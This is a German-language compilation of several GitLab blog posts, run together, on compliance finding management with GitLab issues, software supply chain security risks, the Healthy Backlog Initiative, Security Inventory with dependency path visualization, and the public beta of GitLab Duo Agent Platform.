Effektives Management von Compliance-Befunden sollte keine Detektivarbeit erfordern. Grundlegende Informationen wie Eigentümerschaft, Status oder Priorität sollten sofort ersichtlich sein. Dennoch erleben die meisten Organisationen folgendes Szenario: Compliance-Teams jagen Updates hinterher. Operative Teams kennen ihre Verantwortlichkeiten nicht. Die Führungsebene hat keine Sichtbarkeit auf tatsächliche Risiken – bis zur Audit-Saison.

Das Security-Compliance-Team bei GitLab stand vor genau diesen Problemen. Unser Team nutzte zunächst ein dediziertes GRC-Tool als zentrale Datenquelle für ausstehende Befunde. Doch wichtige Stakeholder hatten keine Sichtbarkeit. Das Ergebnis: Nur minimale Behebungen fanden statt. Das Team verbrachte seine Zeit mit administrativen Aufgaben, anstatt Behebungsbemühungen zu leiten.

Unsere Lösung: Wir verlagerten das Management direkt in GitLab-Issues innerhalb eines dedizierten Projekts. Dieser Ansatz verwandelt Compliance-Befunde in sichtbare, umsetzbare Arbeitselemente. Sie integrieren sich natürlich in Entwicklungs- und Betriebs-Workflows. Jeder Stakeholder kann sehen, was Aufmerksamkeit benötigt. Teams können bei Behebungsplänen zusammenarbeiten und den Fortschritt in Echtzeit verfolgen.

Intelligente Organisation durch Labels und Issue Boards

GitLab ermöglicht es Teams, Beobachtungs-Issues in mehrere Organisationsansichten zu kategorisieren. Das Security-Compliance-Team verwendet Folgendes zur Kategorisierung von Beobachtungen:

• Workflow: ~workflow::identified, ~workflow::validated, ~workflow::in progress, ~workflow::remediated
• Abteilung: ~dept::engineering, ~dept::security, ~dept::product
• Risikoschwere: ~risk::critical, ~risk::high, ~risk::medium, ~risk::low
• System: ~system::gitlab, ~system::gcp, ~system::hr-systems
• Programm: ~program::soc2, ~program::iso, ~program::fedramp , ~program::pci

Diese Labels werden dann genutzt, um Issue Boards zu erstellen:

• Workflow-Boards visualisieren die Phasen des Beobachtungslebenszyklus.
• Abteilungs-Boards zeigen die Behebungsarbeitslast jedes Teams.
• Risikobasierte Boards priorisieren kritische Befunde, die sofortige Aufmerksamkeit erfordern.
• System-Boards visualisieren Beobachtungen nach System.
• Programm-Boards verfolgen die zertifizierungsspezifische Beobachtungslösung.

Labels ermöglichen leistungsstarke Filter- und Berichtsfunktionen und unterstützen gleichzeitig automatisierte Workflows durch unsere Triage-Bot-Richtlinien. Weitere Details zu unserer Automatisierungsstrategie findest du im Abschnitt Automatisierung.

Automatisierung: Intelligenter arbeiten, nicht härter

Die Verwaltung von Dutzenden von Befunden über mehrere Zertifizierungen hinweg erfordert intelligente Automatisierung. Das Security-Compliance-Team nutzt den Triage-Bot – ein Open-Source-Projekt, das in GitLab gehostet wird. Das Triage-Bot-Gem ermöglicht es Projektmanager(inne)n, Issues automatisch zu triagieren. Die Triagierung basiert auf definierten Richtlinien in GitLab-Projekten oder -Gruppen.

Innerhalb des Beobachtungsmanagement-Projekts haben wir Richtlinien geschrieben, um sicherzustellen, dass jedes Issue eine(n) Zugewiesene(n) hat, jedes Issue erforderliche Labels hat, Issues alle 30 Tage aktualisiert werden und blockierte und stagnierende Issues alle 90 Tage angestupst werden. Zusätzlich wird wöchentlich ein Zusammenfassungs-Issue erstellt, um alle Issues zusammenzufassen, die nicht unseren definierten Richtlinien entsprechen. Dies ermöglicht es Teammitgliedern, Issues effizient zu überwachen und weniger Zeit für administrative Aufgaben aufzuwenden.

Erfolgsmessung: Schlüsselmetriken und Berichterstattung

GitLabs Roh-Issue-Daten lassen sich in umsetzbare Erkenntnisse umwandeln. Organisationen können aussagekräftige Insights aus verschiedenen Datenquellen extrahieren: Issue-Erstellungsdatum, Abschlussdatum, letztes Update und Labels. Die folgenden Metriken bieten einen umfassenden Überblick über die Effektivität deines Compliance-Managements:

Analyse der Lösungseffizienz: Durchschnittliche Zeit von der Identifizierung bis zur Lösung nach Abteilung und Schweregrad.

Verfolge Issue-Erstellungs- versus Abschlussdaten über Abteilungen und Schweregrade hinweg. Das identifiziert Engpässe und misst die Leistung gegen SLAs. So erkennst du, welche Teams bei schnellen Reaktionen hervorragend sind. Und welche zusätzliche Ressourcen oder Prozessverbesserungen benötigen.

Echtzeit-Risikobewertung: Aktuelles Risikoprofil basierend auf offenen kritischen und hochriskanten Befunden.

Nutze Risikostufen-Labels für dynamische Visualisierungen der aktuellen Risikoexposition. Das bietet der Führungsebene sofortiges Verständnis: Welche kritischen Befunde erfordern dringend Aufmerksamkeit.

Strategische Ressourcenzuweisung: Risikoverteilung auf Abteilungsebene für gezielte Verbesserungen.

Identifiziere, welche Abteilungen für Befunde mit dem höchsten Risiko verantwortlich sind. So priorisierst du Ressourcen, Aufsicht und Projekte richtig. Dieser datengesteuerte Ansatz fokussiert Verbesserungen dort, wo sie maximale Wirkung haben.

Überwachung der Compliance-Bereitschaft: Zertifizierungsspezifische Beobachtungszahlen und Lösungsraten

Nutze Zertifizierungs-Labels, um die Audit-Bereitschaft zu bewerten und den Fortschritt bei Compliance-Zielen zu verfolgen. Diese Metrik bietet eine Frühwarnung vor potenziellen Zertifizierungsrisiken und validiert Behebungsbemühungen.

Verantwortlichkeitsverfolgung: Überfällige Behebungen

Überwache die SLA-Einhaltung, um sicherzustellen, dass Beobachtungen rechtzeitig Aufmerksamkeit erhalten. Diese Metrik hebt systemische Verzögerungen hervor und ermöglicht proaktive Intervention, bevor kleine Probleme zu großen Problemen werden.

Engagement-Gesundheitsprüfung: Beobachtungsaktualität

Verfolge die jüngste Aktivität (Updates innerhalb von 30 Tagen), um sicherzustellen, dass Beobachtungen aktiv verwaltet und nicht vergessen werden. Diese Metrik identifiziert stagnierende Issues, die möglicherweise eine Eskalation oder Neuzuweisung erfordern.

Fortgeschrittene Strategien: Beobachtungsmanagement weiter vorantreiben

Hier ist, was du tun kannst, um die Wirkung des Beobachtungsmanagements in deiner Organisation zu vertiefen.

Integration mit Sicherheitstools

Modernes Beobachtungsmanagement geht über manuelle Verfolgung hinaus, indem es sich mit deiner bestehenden Sicherheitsinfrastruktur verbindet. Organisationen können Schwachstellenscanner und Sicherheitsüberwachungstools konfigurieren, um automatisch Beobachtungs-Issues zu generieren, wodurch manuelle Dateneingabe eliminiert und umfassende Abdeckung sichergestellt wird.

Prädiktive Analytik anwenden

Modernes Compliance-Management geht über manuelle Verfolgung hinaus. Es verbindet sich mit deiner bestehenden Sicherheitsinfrastruktur. Organisationen können Schwachstellenscanner und Sicherheitsüberwachungstools konfigurieren. Diese generieren automatisch Issues für Compliance-Befunde. Das eliminiert manuelle Dateneingabe und stellt umfassende Abdeckung sicher..

Anpassung für Stakeholder

Effektives Beobachtungsmanagement erkennt an, dass verschiedene Rollen unterschiedliche Perspektiven auf dieselben Daten erfordern. Rollenbasierte Dashboards liefern maßgeschneiderte Ansichten für Führungskräfte, die hochrangige Risikozusammenfassungen suchen, Abteilungsleiter(innen), die die Teamleistung verfolgen, und einzelne Mitwirkende, die ihre zugewiesenen Beobachtungen verwalten. Automatisierte Berichtssysteme können konfiguriert werden, um verschiedenen Zielgruppenbedürfnissen und Kommunikationspräferenzen zu entsprechen, von detaillierten technischen Berichten bis zu Executive Briefings. Self-Service-Analysefähigkeiten befähigen Stakeholder, Ad-hoc-Analysen durchzuführen und benutzerdefinierte Erkenntnisse zu generieren, ohne technisches Fachwissen oder Support zu benötigen.

Von bloßer Compliance zu operativer Exzellenz

GitLabs Ansatz zum Compliance-Management stellt mehr als einen Toolwechsel dar. Es ist eine grundlegende Verschiebung: von reaktiver Compliance zu proaktiver Risikominderung. Das Aufbrechen von Silos zwischen Compliance-Teams und operativen Stakeholdern bringt beispiellose Transparenz. Gleichzeitig verbessern sich die Behebungsergebnisse dramatisch.

Die Ergebnisse sind messbar: Schnellere Lösungen durch transparente Verantwortlichkeit. Aktive Stakeholder-Zusammenarbeit statt widerwilliger Teilnahme. Kontinuierliche Audit-Bereitschaft statt periodischer Hektik. Automatisierte Workflows befreien Compliance-Fachleute für strategische Arbeit. Reichhaltige Daten ermöglichen prädiktive Analysen. Der Fokus verschiebt sich von reaktiver Brandbekämpfung zu proaktiver Prävention.

Am wichtigsten ist, dass dieser Ansatz Compliance von einer Last zu einem strategischen Befähiger erhebt. Wenn Beobachtungen zu sichtbaren, verfolgbaren Arbeitselementen werden, die in operative Workflows integriert sind, entwickeln Organisationen eine stärkere Sicherheitskultur und dauerhafte Verbesserungen, die über jeden einzelnen Audit-Zyklus hinausgehen. Das Ergebnis ist nicht nur regulatorische Compliance. Es ist organisatorische Resilienz und Wettbewerbsvorteil durch überlegenes Risikomanagement.

Möchtest du mehr über GitLabs Sicherheits-Compliance-Praktiken erfahren? Schau dir unser Security Compliance Handbook für weitere Einblicke und Implementierungsanleitungen an.

Software-Supply-Chain-Sicherheit beschränkt sich nicht nur auf das Scannen von Abhängigkeiten. Sie umfasst den gesamten Prozess von der Code-Entwicklung bis zur Produktionsbereitstellung, einschließlich:

• Quellsicherheit: Schutz von Code-Repositorys, Verwaltung von Mitwirkenden-Zugriff, Sicherstellung der Code-Integrität
• Build-Sicherheit: Sichere Build-Umgebungen, Verhinderung von Manipulationen während der Kompilierung und Paketierung
• Artefakt-Sicherheit: Sicherstellung der Integrität von Containern, Paketen und Bereitstellungsartefakten
• Bereitstellungssicherheit: Sicherung der Liefermechanismen und Laufzeitumgebungen
• Tool-Sicherheit: Härtung der Entwicklungstools und Plattformen selbst

Die "Kette" in Supply Chain Security bezieht sich auf diese miteinander verbundene Reihe von Schritten. Eine Schwachstelle an irgendeiner Stelle in der Kette kann den gesamten Software-Lieferprozess kompromittieren.

Der SolarWinds-Angriff von 2020 veranschaulicht dies perfekt. In einem der größten Supply-Chain-Angriffe der Geschichte kompromittierten staatlich geförderte Angreifer die Build-Pipeline von SolarWinds' Orion-Netzwerkverwaltungssoftware. Anstatt eine anfällige Abhängigkeit auszunutzen oder die fertige Anwendung zu hacken, injizierten sie bösartigen Code während des Kompilierungsprozesses selbst.

Das Ergebnis war verheerend: Mehr als 18.000 Organisationen, einschließlich mehrerer US-Regierungsbehörden, installierten unwissentlich Software mit Hintertüren durch normale Updates. Der Quellcode war sauber, die fertige Anwendung erschien legitim. Doch der Build-Prozess war kompromittiert worden. Dieser Angriff blieb monatelang unentdeckt und zeigte, wie Supply-Chain-Schwachstellen traditionelle Sicherheitsmaßnahmen umgehen können.

Häufige Missverständnisse, die Organisationen verwundbar machen

Trotz des wachsenden Bewusstseins für Supply-Chain-Bedrohungen bleiben viele Organisationen anfällig, weil sie grundlegenden Missverständnissen über Software-Supply-Chain-Sicherheit unterliegen. Diese Missverständnisse schaffen gefährliche Sicherheitslücken:

• Denken, dass Software Supply Chain Security gleich Abhängigkeitsscanning ist
• Sich nur auf Open-Source-Komponenten konzentrieren und proprietäre Code-Risiken ignorieren
• Glauben, dass Code-Signierung allein ausreichenden Schutz bietet
• Annehmen, dass sichere Codierungspraktiken Supply-Chain-Risiken eliminieren
• Es als Problem des Sicherheitsteams behandeln statt als Herausforderung des Entwicklungsworkflows

Wie KI das Spiel verändert

Während Organisationen noch mit traditionellen Herausforderungen der Software-Supply-Chain-Sicherheit kämpfen, führt künstliche Intelligenz (KI) völlig neue Angriffsvektoren ein und verstärkt bestehende auf beispiellose Weise.

KI-gestützte Angriffe: Ausgefeilter, skalierbarer

Angreifer nutzen KI, um die Schwachstellenentdeckung zu automatisieren, überzeugende Social-Engineering-Angriffe gegen Entwickler zu generieren und öffentliche Codebasen systematisch auf Schwächen zu analysieren. Was früher manuelle Arbeit erforderte, lässt sich jetzt in großem Maßstab durchführen – mit Präzision.

Die KI-Entwicklungs-Supply-Chain führt neue Risiken ein

KI gestaltet den gesamten Entwicklungslebenszyklus neu, führt aber auch erhebliche Sicherheitslücken ein:

• Modell-Supply-Chain-Angriffe: Vortrainierte Modelle von Quellen wie Hugging Face oder GitHub können Hintertüren oder vergiftete Trainingsdaten enthalten.
• Unsicherer KI-generierter Code: Entwickler(innen), die KI-Coding-Assistenten verwenden, könnten unwissentlich verwundbare Muster oder unsichere Abhängigkeiten einführen.
• Kompromittierte KI-Toolchains: Die Infrastruktur zum Trainieren, Bereitstellen und Verwalten von KI-Modellen schafft eine neue Angriffsoberfläche.
• Automatisierte Aufklärung: KI ermöglicht es Angreifern, ganze Ökosysteme zu scannen, um hochwertige Supply-Chain-Ziele zu identifizieren.
• Schatten-KI und nicht genehmigte Tools: Entwickler(innen) könnten externe KI-Tools integrieren, die nicht überprüft wurden.

Das Ergebnis? KI führt nicht nur neue Schwachstellen ein, sie verstärkt auch das Ausmaß und die Auswirkungen bestehender Schwachstellen. Organisationen können sich nicht länger auf schrittweise Verbesserungen verlassen. Die Bedrohungslandschaft entwickelt sich schneller, als sich aktuelle Sicherheitspraktiken anpassen können.

Warum die meisten Organisationen immer noch kämpfen

Selbst Organisationen, die Supply-Chain-Sicherheit verstehen, scheitern oft daran, effektiv zu handeln. Die Statistiken zeigen ein beunruhigendes Muster: Bewusstsein ohne entsprechende Verhaltensänderung.

Als Colonial Pipeline 2021 Hackern 4,4 Millionen Dollar zahlte, um den Betrieb wiederherzustellen, oder als 18.000 Organisationen dem SolarWinds-Angriff zum Opfer fielen, war die Botschaft klar: Supply-Chain-Schwachstellen können kritische Infrastruktur lahmlegen und sensible Daten in beispiellosem Ausmaß kompromittieren.

Dennoch machen die meisten Organisationen trotz dieses Bewusstseins weiter wie gewohnt. Die eigentliche Frage ist nicht, ob sich Organisationen um Supply-Chain-Sicherheit sorgen – sondern warum sich diese Sorge nicht in effektiven Schutz umsetzt.

Die Antwort liegt in vier kritischen Barrieren, die effektives Handeln verhindern:

1. Die falsche Sparsamkeitsmentalität

Organisationen konzentrieren sich manchmal auf die Kosten, anstatt zu fragen: "Was ist der effektivste Ansatz?" Dieses kostenorientierte Denken schafft teure Folgeprobleme.

2. Die Realität des Fachkräftemangels

Mit durchschnittlich 4 Sicherheitsfachleuten pro 100 Entwickler(innen) laut BSIMM-Forschung und 90% der Organisationen, die kritische Cybersicherheits-Qualifikationslücken melden laut ISC2, sind traditionelle Ansätze mathematisch unmöglich zu skalieren.

3. Fehlausgerichtete organisatorische Anreize

Entwickler-OKRs konzentrieren sich auf Feature-Geschwindigkeit, während Sicherheitsteams andere Ergebnisse messen. Wenn die Prioritäten der Geschäftsleitung die Markteinführungsgeschwindigkeit über die Sicherheitslage stellen, wird Reibung unvermeidlich.

4. Tool-Komplexitätsüberlastung

Das durchschnittliche Unternehmen nutzt 45 Cybersicherheitstools, wobei 40% der Sicherheitswarnungen Fehlalarme sind und muss durchschnittlich 19 Tools für jeden Vorfall koordinieren.

Diese Barrieren schaffen einen Teufelskreis: Organisationen erkennen die Bedrohung, investieren in Sicherheitslösungen, setzen sie aber so um, dass sie nicht die gewünschten Ergebnisse erzielen.

Der wahre Preis der Supply-Chain-Unsicherheit

Supply-Chain-Angriffe schaffen Risiken und Kosten, die weit über die anfängliche Behebung hinausgehen. Das Verständnis dieser versteckten Multiplikatoren hilft zu erklären, warum Prävention nicht nur vorzuziehen ist – sie ist essentiell für die Geschäftskontinuität.

Zeit wird zum Feind

• Durchschnittliche Zeit zur Identifizierung und Eindämmung einer Supply-Chain-Verletzung: 277 Tage
• Zeitraum zum Wiederaufbau des Kundenvertrauens: 2-3+ Jahre
• Entwicklungsstunden, die von der Produktentwicklung zur Sicherheitsbehebung umgeleitet werden

Reputationsschäden summieren sich

Wenn Angreifer deine Supply Chain kompromittieren, stehlen sie nicht nur Daten – sie untergraben das Fundament des Kundenvertrauens. Kundenabwanderungsraten steigen typischerweise um 33% nach einem Verstoß, während Partnerbeziehungen kostspielige Rezertifizierungsprozesse erfordern. Die Wettbewerbsposition leidet, da Interessenten Alternativen wählen, die als "sicherer" wahrgenommen werden.

Die regulatorische Realität schlägt zu

Die Regulierungslandschaft hat sich grundlegend verändert. DSGVO-Strafen betragen jetzt durchschnittlich über 50 Millionen Dollar für erhebliche Datenverstöße. Der neue Cyber Resilience Act der EU verlangt Supply-Chain-Transparenz. US-Bundesauftragnehmer müssen Software-Stücklisten (SBOMs) für alle Softwarekäufe bereitstellen – eine Anforderung, die sich schnell auf die Beschaffung im privaten Sektor ausbreitet.

Betriebsstörungen multiplizieren sich

Über die direkten Kosten hinaus schaffen Supply-Chain-Angriffe betriebliches Chaos: Plattformausfälle während der Angriffsbehebung, Notfall-Sicherheitsaudits über ganze Technologie-Stacks und Rechtskosten aus Kundenklagen und behördlichen Untersuchungen.

Was an aktuellen Ansätzen falsch ist

Die meisten Organisationen verwechseln Sicherheitsaktivität mit Sicherheitswirkung. Sie setzen Scanner ein, generieren lange Berichte und jagen Teams durch manuelle Nachfassaktionen hinterher. Aber diese Bemühungen gehen oft nach hinten los – und schaffen mehr Probleme, als sie lösen.

Massives Scannen vs. effektiver Schutz

Unternehmen generieren über 10.000 Sicherheitswarnungen pro Monat, wobei die aktivsten etwa 150.000 Ereignisse pro Tag generieren. Aber 63% davon sind Fehlalarme oder unwichtiges Rauschen. Sicherheitsteams sind überfordert und werden zu Engpässen statt zu Befähigern.

Der Zusammenbruch der Zusammenarbeit

Die sichersten Organisationen haben nicht die meisten Tools; sie haben die stärkste DevSecOps-Zusammenarbeit. Aber die meisten aktuellen Setups machen dies schwieriger, indem sie Workflows über inkompatible Tools aufteilen, Entwicklern keine Sicherheitsergebnisse in ihrer Umgebung zeigen und keine gemeinsame Sichtbarkeit auf Risiko und geschäftliche Auswirkungen bieten.

Der Weg nach vorn

Das Verständnis dieser Herausforderungen ist der erste Schritt zum Aufbau effektiver Supply-Chain-Sicherheit. Die Organisationen, die erfolgreich sind, fügen nicht nur mehr Sicherheitstools hinzu, sie überdenken grundlegend, wie Sicherheit in Entwicklungsworkflows integriert wird. Sie überprüfen auch End-to-End-Software-Lieferworkflows, um Prozesse zu vereinfachen, Tools zu reduzieren und die Zusammenarbeit zu verbessern.

Bei GitLab haben wir gesehen, wie integrierte DevSecOps-Plattformen diese Herausforderungen angehen können, indem sie Sicherheit direkt in den Entwicklungsworkflow bringen. In unserem nächsten Artikel dieser Serie werden wir untersuchen, wie führende Organisationen ihren Ansatz zur Supply-Chain-Sicherheit durch entwicklerfreundliche Lösungen, KI-gestützte Automatisierung und Plattformen transformieren, die Sicherheit zu einem natürlichen Teil der Entwicklung großartiger Software machen.

Erfahre mehr über GitLabs Software Supply Chain Security-Funktionen.

Die Produkt- und Engineering-Teams von GitLab haben kürzlich die Healthy Backlog Initiative gestartet, um dieses Backlog anzugehen und unseren Ansatz für die Verwaltung beigetragener Issues in Zukunft zu verfeinern.

Issues mit laufendem Community-Engagement, aktueller Aktivität oder klarer strategischer Ausrichtung bleiben offen. Wir werden Issues schließen, die nicht mehr relevant sind, kein Community-Interesse haben oder nicht mehr zu unserer aktuellen Produktausrichtung passen.

Dieser Fokus wird zu mehr Innovation, besserer Erwartungshaltung und schnelleren Entwicklungs- und Bereitstellungszyklen von der Community beigetragenen Funktionen führen.

Die Healthy Backlog Initiative: 65.000 Issues strategisch reduzieren

Im Laufe der Zeit hat die GitLab-Community zahlreiche Issues eingereicht, darunter Bugs, Feature-Anfragen und Feedback-Elemente. Derzeit enthält der zentrale GitLab-Issue-Tracker über 65.000 Issues, von denen einige heute nicht mehr relevant sind, andere hingegen schon.

Unsere Healthy Backlog Initiative wird das Backlog bereinigen und einen Arbeitsstrom für unsere Produkt- und Engineering-Teams etablieren, um einen fokussierteren Ansatz zur Backlog-Verwaltung umzusetzen. Sie werden wöchentliche Bewertungen des Backlogs durchführen, um sicherzustellen, dass wir Issues priorisieren, die mit unserer Produktstrategie und Roadmap übereinstimmen.

Hinweis: Wenn du der Meinung bist, dass ein geschlossenes Issue mit GitLabs Produktstrategie und Roadmap übereinstimmt, oder wenn du aktiv an der Anfrage arbeitest, ermutigen wir dich, das Issue mit aktualisiertem Kontext und aktuellen Details zu kommentieren. Wir verpflichten uns, diese aktualisierten Issues im Rahmen unserer regelmäßigen Bewertungen zu überprüfen.

Die Vorteile: Fokussierte Entwicklung und klarere Roadmaps

Dieser optimierte Ansatz bedeutet direkte, greifbare Verbesserungen für alle GitLab-Nutzer:

• Schärferer Fokus und schnellere Bereitstellung: Durch die Eingrenzung unseres Backlogs auf strategisch ausgerichtete Funktionen können wir Entwicklungskapazitäten gezielter nutzen. Das bedeutet, dass du kürzere Entwicklungszyklen und spürbare Verbesserungen in GitLab erwarten kannst.
• Klarere Erwartungen: Wir verpflichten uns zu transparenter Kommunikation darüber, was auf unserer Roadmap steht und was nicht, damit du fundierte Entscheidungen über deine Workflows treffen kannst.
• Beschleunigte Feedback-Schleifen: Mit einem sauberen Backlog werden neue Feedbacks und Feature-Anfragen effizienter überprüft und priorisiert. Das verkürzt die Triage-Zeit und stellt sicher, dass zeitkritische Issues die notwendige Aufmerksamkeit erhalten. Dies schafft schnelleres Feedback für alle.

Diese Initiative mindert nicht die Bedeutung von Community-Feedback und -Beiträgen. Wir ergreifen diese Maßnahme, um Klarheit darüber zu schaffen, was GitLab-Teammitglieder realistisch liefern können, und um sicherzustellen, dass alle Rückmeldungen angemessen berücksichtigt werden.

GitLabs Commitment: Transparente Prioritäten für die Community

Die GitLab Healthy Backlog Initiative spiegelt unseren Anspruch wider, transparente und effektive Verwalter der GitLab-Plattform zu sein. Indem wir unsere Prioritäten klar kommunizieren und unsere Bemühungen auf das konzentrieren, was wir realistisch im nächsten Jahr erreichen können, sind wir besser positioniert, deine Erwartungen zu erfüllen und zu übertreffen.

Deine kontinuierliche Teilnahme und dein Feedback helfen dabei, GitLab stärker zu machen. Jeder Kommentar, jede Merge Request, jeder Bug-Report und jeder Feature-Vorschlag trägt zu unserer gemeinsamen Vision bei. Und wir belohnen dich auch weiterhin dafür, mit Initiativen wie unserem monatlichen Notable Contributor-Programm, Swag-Belohnungen für Level-Ups, Hackathon-Gewinnern und mehr, alles verfügbar über unser Contributor-Portal.

Um mehr darüber zu erfahren, wie du zu GitLab beitragen kannst, besuche unsere Community-Seite. Um Feedback zu diesem Projekt zu teilen, füge bitte deine Kommentare zum Feedback-Issue in diesem Epic hinzu.

Open Source erweitert die Angriffsfläche

Moderne Anwendungen verlassen sich stark auf Open-Source-Software. Open Source bringt jedoch ein erhebliches Sicherheitsrisiko mit sich – Komponenten können veraltet, nicht mehr gewartet oder unwissentlich anfällig sein. Deshalb ist die Software Composition Analysis (SCA) zu einem Eckpfeiler moderner AppSec-Programme geworden. Eine zentrale Herausforderung im Schwachstellen-Management ist die effektive Verwaltung des Risikos transitiver Abhängigkeiten. Diese Komponenten sind oft tief in der Abhängigkeitskette vergraben. Daher ist es schwierig nachzuvollziehen, wie eine Schwachstelle eingeführt wurde. Ebenso schwer ist es zu bestimmen, was aktualisiert werden muss. Noch schlimmer: Sie machen fast zwei Drittel der bekannten Open-Source-Schwachstellen aus. Ohne klare Sicht auf den gesamten Abhängigkeitspfad sind Teams auf Vermutungen angewiesen, was die Behebung verzögert und das Risiko erhöht.

Transitive Abhängigkeiten sind Pakete, die deine Anwendung indirekt verwendet. Sie werden automatisch von den direkten Abhängigkeiten eingezogen, die du explizit einbindest. Diese verschachtelten Abhängigkeiten können Schwachstellen einführen, ohne dass der/die Entwickler(in) jemals weiß, dass sie im Projekt vorhanden sind. Diese Herausforderung wird exponentiell schwieriger bei großem Umfang. Sicherheitsteams verwalten oft Hunderte oder Tausende von Repositories. Jedes Repository hat eigene Abhängigkeiten, Build-Pipelines und Verantwortliche. In diesem Umfang wird selbst die Beantwortung grundlegender Sicherheitsfragen zur Herausforderung. Und in einer Zeit wachsender Software Supply Chain-Bedrohungen, in der sich Schwachstellen über geteilte Bibliotheken und CI/CD-Konfigurationen systemübergreifend ausbreiten können, haben diese blinden Flecken noch gravierendere Folgen.

Security Inventory: Skalierbare Transparenz

Security Inventory konsolidiert Risikoinformationen aller Gruppen und Projekte in einer einheitlichen Ansicht. Es zeigt auf, welche Assets durch Sicherheitsscans abgedeckt sind und welche nicht. Anstatt Probleme isoliert zu verwalten, können Sicherheitsteams die Lage ganzheitlich bewerten. So identifizieren sie schnell, wo sie ihre Bemühungen fokussieren sollten. Diese zentrale Übersicht ist besonders wichtig für Organisationen mit vielen Repositories. Plattform- und AppSec-Teams verstehen sofort, wo Risiken existieren. Das System hebt ungescannte oder unzureichend geschützte Projekte hervor. Außerdem können Teams direkt aus der Oberfläche heraus handeln und über das bloße Bewusstsein hinausgehen. Mit vollem Kontext verstehen sie, welche Anwendungen das größte Risiko darstellen. Security Inventory wandelt fragmentierte Einblicke in eine zentrale Informationsquelle um. So können Organisationen von reaktiver Problem-Triage zu strategischer, datengesteuerter Sicherheits-Governance wechseln. Erfahre mehr, indem du dir Security Inventory in Aktion ansiehst:

<!-- blank line --> <figure class="video_container"> <iframe src="https://www.youtube.com/embed/yqo6aJLS9Fw?si=CtYmsF-PLN1UKt83" frameborder="0" allowfullscreen="true"> </iframe> </figure> <!-- blank line -->

Dependency Path-Visualisierung: Klarheit für effektive Behebung

Security Inventory zeigt auf hoher Ebene, wo die Risiken liegen; die Dependency Path-Visualisierung zeigt, wie man sie behebt. Wenn eine Schwachstelle tief in einer Abhängigkeitskette entdeckt wird, kann die Identifizierung der richtigen Lösung kompliziert sein. Die meisten Sicherheitstools heben das betroffene Paket hervor, erklären aber nicht, wie es in die Codebasis gelangt ist. Entwickler(innen) müssen raten, welche Abhängigkeiten direkt eingeführt werden und welche transitiv eingezogen werden, was es schwierig macht zu bestimmen, wo eine Änderung erforderlich ist – oder schlimmer noch: Patches anzuwenden, die die Grundursache nicht beheben. Unsere neue Dependency Path-Visualisierung zeigt nach einem SCA-Scan den vollständigen Weg auf: vom Top-Level-Paket zur anfälligen Komponente. Diese wird manchmal auch als Abhängigkeitsgraph bezeichnet. Diese Klarheit ist unerlässlich. Denn tief eingebettete Schwachstellen sind in Abhängigkeitsketten weit verbreitet. Die Funktion ist direkt in den GitLab-Workflow integriert. Dadurch erhalten Entwickler(innen) umsetzbare Einblicke ohne Kontextwechsel oder Rätselraten. Sicherheitsteams können Probleme effektiver priorisieren. Gleichzeitig haben Entwickler(innen) die Gewissheit, dass ihre Behebungen die Grundursachen angehen.

Entwicklerorientierte Sicherheit: Risiken strategisch mindern

Diese Funktionen sind Teil von GitLabs umfassenderer Strategie: Sicherheit innerhalb derselben Plattform bereitzustellen, in der Code geplant, erstellt und bereitgestellt wird. GitLab bettet Sicherheitseinblicke direkt in den DevSecOps-Workflow ein. Das reduziert Reibung und fördert die Zusammenarbeit zwischen Entwicklungs- und Sicherheitsteams. Security Inventory und Dependency Path-Visualisierung bieten komplementäre Perspektiven: Security Inventory ermöglicht skalierungsbewusste Überwachung, Dependency Path unterstützt präzise Korrekturen. Diese Kombination hilft Teams, das Wichtigste zu priorisieren und Lücken zu schließen. Und das ohne neue Tools oder komplexe Integrationen.

Starte noch heute mit Security Inventory und Dependency Path-Visualisierung! Melde dich für eine kostenlose Testversion von GitLab Ultimate an.

Weiterlesen

• GitLab 18.2 veröffentlicht
• GitLab-Sicherheitslösungen
• Ein Leitfaden zu Bedrohungsvektoren in der Software Supply Chain

Bei GitLab gestalten wir die Zukunft der Software-Entwicklung neu als Zusammenarbeit zwischen Menschen und KI. Entwickler(innen) konzentrieren sich auf die Lösung technischer, komplexer Probleme und treiben Innovationen voran, während KI-Agenten die routinemäßigen, sich wiederholenden Aufgaben übernehmen, die den Fortschritt verlangsamen. Entwickler(innen) sind frei, neue Ideen im Code zu deutlich geringeren Kosten zu erkunden, Bug-Backlogs gehören der Vergangenheit an, und die Nutzer(innen) der von dir erstellten Software genießen eine benutzerfreundlichere, zuverlässigere und sicherere Erfahrung. Das ist kein ferner Traum. Wir bauen diese Realität schon heute. Sie heißt GitLab Duo Agent Platform.

Was ist GitLab Duo Agent Platform?

GitLab Duo Agent Platform ist unsere DevSecOps-Orchestrierungsplattform der nächsten Generation, welche entwickelt wurde, um die asynchrone Zusammenarbeit zwischen Entwickler(innen) und KI-Agenten zu ermöglichen. Sie wird deinen Entwicklungsworkflow von isolierten linearen Prozessen in eine dynamische Zusammenarbeit verwandeln, bei der spezialisierte KI-Agenten in jeder Phase des Software-Entwicklungslebenszyklus an deiner Seite und mit deinem Team arbeiten. Es wird so sein, als hättest du ein unbegrenztes Team von Kolleg(inn)en zur Verfügung.

Stell dir vor, du delegierst eine komplexe Refaktorierungsaufgabe an einen Software-Entwickler-Agenten, während gleichzeitig ein Sicherheitsanalyse-Agent nach Schwachstellen sucht und ein Deep-Research-Agent den Fortschritt über deine Repository-Historie hinweg analysiert. All dies geschieht parallel, nahtlos orchestriert innerhalb von GitLab.

Heute kündigen wir die Einführung der ersten Public Beta von GitLab Duo Agent Platform für GitLab.com und selbstverwaltete GitLab Premium- und Ultimate-Kund(inn)en an. Dies ist nur die erste einer Reihe von Updates, die verbessern werden, wie Software geplant, erstellt, verifiziert und bereitgestellt wird, während wir menschlichen Einfallsreichtum durch intelligente Automatisierung verstärken.

Diese erste Beta konzentriert sich auf die Freischaltung der IDE-Erfahrung über die GitLab VS Code-Erweiterung und das JetBrains IDEs-Plugin; nächsten Monat planen wir, die Duo Agent Platform-Erfahrung in die GitLab-Anwendung zu bringen und unsere IDE-Unterstützung zu erweitern.

Lass mich ein wenig mehr über unsere Vision für die Roadmap von heute bis zur allgemeinen Verfügbarkeit, die für später in diesem Jahr geplant ist, berichten. Details zur ersten Beta findest du unten.

Schau dir dieses Video an oder lies weiter, um zu erfahren, was jetzt verfügbar ist und was demnächst kommen wird. Wenn du dann bereit bist, mit Duo Agent Platform zu arbeiten, erfährst du hier, wie das mit der Public Beta geht.

